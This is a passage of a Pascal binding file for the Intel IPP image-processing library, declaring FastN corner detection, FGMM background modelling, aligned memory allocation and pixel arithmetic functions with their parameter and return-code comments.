dstCornerStep Step through the destinartion corner image
pDstScore Pointer to the destinartion score image
dstScoreStep Step through the destinartion score image
pNumCorner pointer to number of corners in source image
srcRoiOffset offset in source image
dstRoiSize Roi size (in pixels) of destination image what will be applied
for processing
pSpec pointer to Spec
pBuffer pointer to working buffer
Return:
ippStsNoErr OK
ippStsNullPtrErr pointer to Src, DstCorner, Spec or Buffer is NULL
ippStsSizeErr sizes of srcSize or dstRoiSize are less or equal 0
ippStsContextMatchErr spec is not match
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
ippStsOutOfRangeErr Indicates an error when orientation Bins or N have an illegal value.
ippStsBadArgErr Indicates an error when option or circleRadius have an illegal value.
ippStsThresholdErr threshold ia less 0
}
function ippiFastN_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDstCorner : Ipp8uPtr ; dstCornerStep : Int32 ; pDstScore : Ipp8uPtr ; dstScoreStep : Int32 ; pNumCorner : Int32Ptr ; srcRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiFastNSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFastN_8u_C1R
Purpose: corner finding FastN
Parameters:
pSrcCorner Pointer to the source corner image
srcCornerStep Step through the source corner image
pSrcScore Pointer to the source score image
srcScoreStep Step through the source score image
pDst pointer to array of structures
SrcRoiSize Roi size (in pixels) of source images what will be applied
maxLen length of array of structures
pNumCorners pointer to number of corners
pSpec pointer to Spec
Return:
ippStsNoErr OK
ippStsNullPtrErr pointer to pSrcCorner, pSrcScore, pDst or Spec is NULL
ippStsSizeErr sizes of srcSize or dstRoiSize are less or equal 0
ippStsContextMatchErr spec is not match
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
ippStsOutOfRangeErr Indicates an error when orientation Bins or N have an illegal value.
ippStsBadArgErr Indicates an error when option or circleRadius have an illegal value.
ippStsThresholdErr threshold ia less 0
}
function ippiFastN2DToVec_8u( pSrcCorner : Ipp8uPtr ; srcCornerStep : Int32 ; pSrcScore : Ipp8uPtr ; srcScoreStep : Int32 ; pDst : IppiCornerFastNPtr ; srcRoiSize : IppiSize ; maxLen : Int32 ; pNumCorners : Int32Ptr ; pSpec : IppiFastNSpecPtr ): IppStatus; _ippapi
function ippiFGMMGetBufferSize_8u_C3R( roi : IppiSize ; maxNGauss : Int32 ; var pSpecSize : Int32 ): IppStatus; _ippapi
function ippiFGMMInit_8u_C3R( roi : IppiSize ; maxNGauss : Int32 ; pModel : IppFGMModelPtr ; pState : IppFGMMState_8u_C3RPtr ): IppStatus; _ippapi
function ippiFGMMForeground_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roi : IppiSize ; pState : IppFGMMState_8u_C3RPtr ; pModel : IppFGMModelPtr ; learning_rate : double ): IppStatus; _ippapi
function ippiFGMMBackground_8u_C3R( pDst : Ipp8uPtr ; dstStep : Int32 ; roi : IppiSize ; pState : IppFGMMState_8u_C3RPtr ): IppStatus; _ippapi
{
Intel(R) Integrated Performance Primitives
Image Processing
}
{ ----------------------------------------------------------------------------
Functions declarations
{ ----------------------------------------------------------------------------
Name: ippiGetLibVersion
Purpose: gets the version of the library
Returns: structure containing information about the current version of
the Intel IPP library for image processing
Parameters:
Notes: there is no need to release the returned structure
}
function ippiGetLibVersion: IppLibraryVersionPtr; _ippapi
{ ----------------------------------------------------------------------------
Memory Allocation Functions
{ ----------------------------------------------------------------------------
Name: ippiMalloc
Purpose: allocates memory with 32-byte aligned pointer for ippIP images,
every line of the image is aligned due to the padding characterized
by pStepBytes
Parameter:
widthPixels width of image in pixels
heightPixels height of image in pixels
pStepBytes pointer to the image step, it is an output parameter
calculated by the function
Returns: pointer to the allocated memory or NULL if out of memory or wrong parameters
Notes: free the allocated memory using the function ippiFree only
}
function ippiMalloc_8u_C1( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp8uPtr; _ippapi
function ippiMalloc_16u_C1( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp16uPtr; _ippapi
function ippiMalloc_16s_C1( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp16sPtr; _ippapi
function ippiMalloc_32s_C1( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32sPtr; _ippapi
function ippiMalloc_32f_C1( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32fPtr; _ippapi
function ippiMalloc_32sc_C1( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32scPtr; _ippapi
function ippiMalloc_32fc_C1( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32fcPtr; _ippapi
function ippiMalloc_8u_C2( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp8uPtr; _ippapi
function ippiMalloc_16u_C2( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp16uPtr; _ippapi
function ippiMalloc_16s_C2( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp16sPtr; _ippapi
function ippiMalloc_32s_C2( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32sPtr; _ippapi
function ippiMalloc_32f_C2( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32fPtr; _ippapi
function ippiMalloc_32sc_C2( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32scPtr; _ippapi
function ippiMalloc_32fc_C2( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32fcPtr; _ippapi
function ippiMalloc_8u_C3( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp8uPtr; _ippapi
function ippiMalloc_16u_C3( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp16uPtr; _ippapi
function ippiMalloc_16s_C3( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp16sPtr; _ippapi
function ippiMalloc_32s_C3( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32sPtr; _ippapi
function ippiMalloc_32f_C3( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32fPtr; _ippapi
function ippiMalloc_32sc_C3( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32scPtr; _ippapi
function ippiMalloc_32fc_C3( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32fcPtr; _ippapi
function ippiMalloc_8u_C4( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp8uPtr; _ippapi
function ippiMalloc_16u_C4( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp16uPtr; _ippapi
function ippiMalloc_16s_C4( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp16sPtr; _ippapi
function ippiMalloc_32s_C4( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32sPtr; _ippapi
function ippiMalloc_32f_C4( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32fPtr; _ippapi
function ippiMalloc_32sc_C4( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32scPtr; _ippapi
function ippiMalloc_32fc_C4( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32fcPtr; _ippapi
function ippiMalloc_8u_AC4( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp8uPtr; _ippapi
function ippiMalloc_16u_AC4( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp16uPtr; _ippapi
function ippiMalloc_16s_AC4( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp16sPtr; _ippapi
function ippiMalloc_32s_AC4( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32sPtr; _ippapi
function ippiMalloc_32f_AC4( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ):Ipp32fPtr; _ippapi
function ippiMalloc_32sc_AC4( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ): Ipp32scPtr; _ippapi
function ippiMalloc_32fc_AC4( widthPixels : Int32 ; heightPixels : Int32 ; pStepBytes : Int32Ptr ): Ipp32fcPtr; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFree
Purpose: frees memory allocated by the ippiMalloc functions
Parameter:
ptr pointer to the memory allocated by the ippiMalloc functions
Notes: use this function to free memory allocated by ippiMalloc
}
procedure ippiFree(ptr : Pointer ); _ippapi
{ ----------------------------------------------------------------------------
Arithmetic Functions
{ ----------------------------------------------------------------------------
Name: ippiAdd_8u_C1RSfs, ippiAdd_8u_C3RSfs, ippiAdd_8u_C4RSfs, ippiAdd_8u_AC4RSfs,
ippiAdd_16s_C1RSfs, ippiAdd_16s_C3RSfs, ippiAdd_16s_C4RSfs, ippiAdd_16s_AC4RSfs,
ippiAdd_16u_C1RSfs, ippiAdd_16u_C3RSfs, ippiAdd_16u_C4RSfs, ippiAdd_16u_AC4RSfs,
ippiSub_8u_C1RSfs, ippiSub_8u_C3RSfs, ippiSub_8u_C4RSfs, ippiSub_8u_AC4RSfs,
ippiSub_16s_C1RSfs, ippiSub_16s_C3RSfs, ippiSub_16s_C4RSfs, ippiSub_16s_AC4RSfs,
ippiSub_16u_C1RSfs, ippiSub_16u_C3RSfs, ippiSub_16u_C4RSfs, ippiSub_16u_AC4RSfs,
ippiMul_8u_C1RSfs, ippiMul_8u_C3RSfs, ippiMul_8u_C4RSfs, ippiMul_8u_AC4RSfs,
ippiMul_16s_C1RSfs, ippiMul_16s_C3RSfs, ippiMul_16s_C4RSfs, ippiMul_16s_AC4RSfs
ippiMul_16u_C1RSfs, ippiMul_16u_C3RSfs, ippiMul_16u_C4RSfs, ippiMul_16u_AC4RSfs
Purpose: Adds, subtracts, or multiplies pixel values of two
source images and places the scaled result in the destination image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr Width or height of images is less than or equal to zero
Parameters:
pSrc1, pSrc2 Pointers to the source images
src1Step, src2Step Steps through the source images
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the ROI
scaleFactor Scale factor
}
function ippiAdd_8u_C1RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_8u_C3RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_8u_C4RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_8u_AC4RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16s_C1RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16s_C3RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16s_C4RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16s_AC4RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16u_C1RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16u_C3RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16u_C4RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16u_AC4RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_8u_C1RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_8u_C3RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_8u_C4RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_8u_AC4RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16s_C1RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16s_C3RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16s_C4RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16s_AC4RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16u_C1RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16u_C3RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16u_C4RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16u_AC4RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_8u_C1RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_8u_C3RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_8u_C4RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_8u_AC4RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16s_C1RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16s_C3RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16s_C4RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16s_AC4RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16u_C1RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16u_C3RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16u_C4RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16u_AC4RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAddC_8u_C1IRSfs, ippiAddC_8u_C3IRSfs, ippiAddC_8u_C4IRSfs, ippiAddC_8u_AC4IRSfs,
ippiAddC_16s_C1IRSfs, ippiAddC_16s_C3IRSfs, ippiAddC_16s_C4IRSfs, ippiAddC_16s_AC4IRSfs,
ippiAddC_16u_C1IRSfs, ippiAddC_16u_C3IRSfs, ippiAddC_16u_C4IRSfs, ippiAddC_16u_AC4IRSfs,
ippiSubC_8u_C1IRSfs, ippiSubC_8u_C3IRSfs, ippiSubC_8u_C4IRSfs, ippiSubC_8u_AC4IRSfs,
ippiSubC_16s_C1IRSfs, ippiSubC_16s_C3IRSfs, ippiSubC_16s_C4IRSfs, ippiSubC_16s_AC4IRSfs,
ippiSubC_16u_C1IRSfs, ippiSubC_16u_C3IRSfs, ippiSubC_16u_C4IRSfs, ippiSubC_16u_AC4IRSfs,
ippiMulC_8u_C1IRSfs, ippiMulC_8u_C3IRSfs, ippiMulC_8u_C4IRSfs, ippiMulC_8u_AC4IRSfs,
ippiMulC_16s_C1IRSfs, ippiMulC_16s_C3IRSfs, ippiMulC_16s_C4IRSfs, ippiMulC_16s_AC4IRSfs
ippiMulC_16u_C1IRSfs, ippiMulC_16u_C3IRSfs, ippiMulC_16u_C4IRSfs, ippiMulC_16u_AC4IRSfs
Purpose: Adds, subtracts, or multiplies pixel values of an image and a constant
and places the scaled results in the same image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr Pointer is NULL
ippStsSizeErr Width or height of an image is less than or equal to zero
Parameters:
value Constant value (constant vector for multi-channel images)
pSrcDst Pointer to the image
srcDstStep Step through the image
roiSize Size of the ROI
scaleFactor Scale factor
}
function ippiAddC_8u_C1IRSfs( value : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_8u_C3IRSfs(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_8u_C4IRSfs(const value : Ipp8u_4 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_8u_AC4IRSfs(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16s_C1IRSfs( value : Ipp16s ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16s_C3IRSfs(const value : Ipp16s_3 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16s_C4IRSfs(const value : Ipp16s_4 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16s_AC4IRSfs(const value : Ipp16s_3 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16u_C1IRSfs( value : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16u_C3IRSfs(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16u_C4IRSfs(const value : Ipp16u_4 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16u_AC4IRSfs(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_8u_C1IRSfs( value : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_8u_C3IRSfs(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_8u_C4IRSfs(const value : Ipp8u_4 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_8u_AC4IRSfs(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16s_C1IRSfs( value : Ipp16s ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16s_C3IRSfs(const value : Ipp16s_3 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16s_C4IRSfs(const value : Ipp16s_4 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16s_AC4IRSfs(const value : Ipp16s_3 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16u_C1IRSfs( value : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16u_C3IRSfs(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16u_C4IRSfs(const value : Ipp16u_4 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16u_AC4IRSfs(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_8u_C1IRSfs( value : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_8u_C3IRSfs(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_8u_C4IRSfs(const value : Ipp8u_4 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_8u_AC4IRSfs(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16s_C1IRSfs( value : Ipp16s ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16s_C3IRSfs(const value : Ipp16s_3 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16s_C4IRSfs(const value : Ipp16s_4 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16s_AC4IRSfs(const value : Ipp16s_3 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16u_C1IRSfs( value : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16u_C3IRSfs(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16u_C4IRSfs(const value : Ipp16u_4 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16u_AC4IRSfs(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
